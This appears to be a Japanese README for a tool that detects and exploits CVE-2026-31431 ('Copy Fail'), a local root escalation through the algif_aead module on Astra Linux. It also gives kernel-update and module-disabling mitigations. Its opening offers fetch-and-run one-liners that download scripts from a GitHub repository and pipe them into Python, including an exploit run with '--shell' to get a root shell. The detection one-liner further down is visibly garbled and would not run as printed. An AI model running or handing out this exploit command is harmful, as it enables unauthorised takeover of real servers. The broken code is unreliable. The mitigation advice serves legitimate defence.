
# CVE-2026-31431(Copy Fail)の検出と悪用 Astra Linux上でCVE-2026-31431(Copy Fail)のローカル権限昇格を検出・悪用するツールです。Python 3.7+に対応し、ワンライナーでの展開が可能です。
悪用を伴わない安全な確認:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
悪用(ユーザーパスワードの入力を求められた場合)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
これは Python 3.7、3.8、3.9、3.10、3.11 向けに適応されたフォークです。
オリジナルのエクスプロイトは os.splice() を使用するため Python 3.12+ が必要です。
# ❌ オリジナルのエクスプロイト(Python 3.12+ のみ)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice() への依存を排除###Astra Linux での悪用
この脆弱性は Astra Linux で検証されています。algif_aead モジュールが存在し、悪用により sudo へのアクセスと root への権限昇格が可能になります。
ただし、強制アクセス制御(MAC/Parsec)が有効な場合、スーパーユーザー(レベル 63 / astra-admin ロール)になることはできません。強制ラベルは root プロセスの権限も制限し、セキュリティポリシーにより設定された機密レベルを越えることはできません。
したがって: 🔴 MAC なしまたは MAC が無効な Astra Linux システム — 完全に脆弱。 🟡 MAC が有効なシステム — 部分的に保護: root の取得は可能だが、攻撃者の実際の能力は強制ポリシーによって制限される。
どちらの場合も、脆弱性が検出された場合は、項目 2 または 3 の対策を適用することが必須です。
━━━━━━━━━━━━━━━
各サーバーで以下のコマンドを実行する必要があります。このコマンドはシステムに一切の変更を加えず、脆弱なモジュールが利用可能かどうかのみを確認します。
サーバーに接続し、1 行で実行:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'
🔴 画面に УЯЗВИМА という単語が表示された場合 — サーバーは脆弱性の影響を受けるため、項目 2 に進む必要があります。 🟢 Python のエラーメッセージが表示された場合 — サーバーは脆弱性の影響を受けないため、追加の対応は不要です。
━━━━━━━━━━━━━━━ 2. 根本的な解決策 — カーネルの更新
修正を含むカーネルバージョン 6.18.22、6.19.12 以降に更新する必要があります。更新が完了するまで、項目 3 のモジュール無効化が保護を提供します。
Debian / Ubuntu / Astra Linux の場合:
apt-get update apt-get dist-upgrade reboot
再起動後、必ず新しいカーネルが読み込まれたことを確認してください:
uname -r
コマンドが 6.18.22 より低いバージョンを表示する場合 — カーネルが更新されていないか、システムが古いイメージで起動しています。この場合、更新がインストールされたこと(apt-get dist-upgrade がエラーを出していないこと)を確認し、再起動を繰り返す必要があります。
⚠️ Astra Linux 1.7.x: 更新がリリースされるまで、唯一の保護手段は項目 3 のモジュール無効化です。パッチを入手するには、個人アカウントを通じて Astra Linux のテクニカルサポートに連絡することを推奨します。
━━━━━━━━━━━━━━━ 3. 一時的な保護措置 — 脆弱なモジュールの無効化
カーネルの更新が現在不可能な場合、一時的な措置として脆弱なモジュールを無効化することを推奨します。この操作は再起動を必要とせず、即座に有効になります。適用前にテスト環境で変更を確認することを推奨します。まれに、一部のサービスがこのモジュールを直接使用する場合があります。
モジュールを無効化するコマンド。root(または sudo 経由)で実行:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
最初のコマンドは、以降の起動時にモジュールの読み込みを禁止します。2 番目のコマンドは、読み込まれている場合に即座にアンロードします。2 番目のコマンドのエラーは正常です。モジュールがすでにアクティブでなかったことを意味します。